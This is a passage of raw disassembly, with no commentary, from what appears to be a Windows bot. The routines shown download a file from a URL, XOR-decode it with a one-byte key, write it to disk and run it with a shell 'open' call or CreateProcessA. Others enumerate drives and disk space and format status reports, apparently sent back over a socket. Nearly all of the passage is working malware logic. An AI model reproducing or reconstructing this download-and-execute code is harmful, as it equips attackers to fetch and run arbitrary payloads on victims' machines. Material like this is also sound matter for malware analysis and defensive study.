		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409A73
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4151AD
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_1C]
		call	sub_40B413
		pop	ecx
		push	1
		call	ds:dword_4270CC	; ExitThread


loc_41636C:				; CODE XREF: sub_4161BD+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset asc_437C90 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h


loc_41639C:				; CODE XREF: sub_4161BD+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_4163C1
		push	ebx		; int
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1C0]	; int
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: sub_4161BD+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4151AD
		cmp	[ebp+File], ebx
		pop	ecx
		jz	short loc_4163DC
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx


loc_4163DC:				; CODE XREF: sub_4161BD+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_4163EA
		push	[ebp+arg_0]
		call	dword_4CB6EC	; closesocket


loc_4163EA:				; CODE XREF: sub_4161BD+222j
		push	[ebp+var_1C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
sub_4161BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163FA	proc near		; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
Dst		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
Str		= byte ptr -2C8h
var_248		= byte ptr -248h
Filename	= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	40000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4164C1
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_437ED8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4164A4
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: sub_4163FA+88j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	[ebp+var_48]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread


loc_4164C1:				; CODE XREF: sub_4163FA+68j
		xor	edi, edi
		call	ds:dword_4270A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx		; Size
		call	_malloc
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4164DB:				; CODE XREF: sub_4163FA+1B4j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+Dst]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CB560	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_41651F
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: sub_4163FA+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4270E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_416547
		mov	eax, [ebp+arg_0]


loc_416547:				; CODE XREF: sub_4163FA+148j
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch


loc_41655D:				; CODE XREF: sub_4163FA+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_41656A
		cmp	edi, [ebp+var_3C]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: sub_4163FA+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: sub_4163FA+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_437E88 ; "-"


loc_416594:				; CODE XREF: sub_4163FA+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: sub_4163FA+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_416609
		cmp	edi, [ebp+var_3C]
		jz	short loc_416609
		push	[ebp+var_3C]
		lea	eax, [ebp+Dst]
		mov	[ebp+var_14], esi
		push	edi
		push	offset asc_437E5C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: sub_4163FA+1C4j
					; sub_4163FA+1C9j
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_427068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41B0B1
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416693
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_437E34 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: sub_4163FA+241j
					; sub_4163FA+253j
		cmp	[ebp+var_14], esi
		jz	loc_4168D3
		cmp	[ebp+var_44], 1
		jz	loc_41678E
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_4276A8
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_4276A8
		fstp	[esp+590h+var_590]
		push	offset asc_437DFC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41670E
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: sub_4163FA+2F2j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp+var_30], esi
		jnz	loc_4168D3
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_437DE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: sub_4163FA+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_4276A8
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_4276A8
		fstp	[esp+590h+var_590]
		push	offset asc_437D9C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4167F6
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: sub_4163FA+3DAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		push	10h		; Size
		lea	eax, [ebp+var_10]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43D808
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_42706C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC	; WSACleanup
		call	sub_41835A
		push	esi
		call	ds:dword_427064	; ExitProcess


loc_416878:				; CODE XREF: sub_4163FA+46Aj
		lea	eax, [ebp+Filename]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: sub_4163FA+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset asc_437D3C ; "-"


loc_416892:				; CODE XREF: sub_4163FA+48Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4168C6
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: sub_4163FA+4AAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: sub_4163FA+29Cj
					; sub_4163FA+325j ...
		push	[ebp+var_18]
		call	dword_4CB688	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B413
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
sub_4163FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: sub_4163FA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h		; Size
		mov	edi, offset dword_4D3288
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	__aullrem
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	__aulldiv
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

Dest		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi		; Format
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_118]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_98]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+Dest]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416B57(int,char *Str,int,int)

sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

Dest		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
Str1		= byte ptr -80h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+Str1]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset asc_437F7C ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset asc_437F40 ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416C29(int,char *Str,int,int)

sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi		; Size
		call	_malloc
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset aA_1	; "A:\\"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi		; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi		; Str
		call	_strlen
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CAE	proc near		; DATA XREF: sub_401ACD+68A0o

Dest		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_115		= byte ptr -115h
Str		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_416D03
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_416D03:				; CODE XREF: sub_416CAE+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset asc_437FDC ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_416D48
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409A73
		add	esp, 14h


loc_416D48:				; CODE XREF: sub_416CAE+78j
		lea	eax, [ebp+Str]
		push	ebx		; int
		push	eax		; int
		lea	eax, [ebp+var_218]
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_416DC9
		add	esp, 18h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_437FBC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_416DA9
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_409A73
		add	esp, 14h


loc_416DA9:				; CODE XREF: sub_416CAE+D9j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_416CAE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_416DC9(int,char *Str,int,int,int,int)

sub_416DC9	proc near		; CODE XREF: sub_416CAE+B9p
					; sub_416DC9+9Ep

var_54C		= dword	ptr -54Ch
var_34C		= dword	ptr -34Ch
Dest		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+Dest]
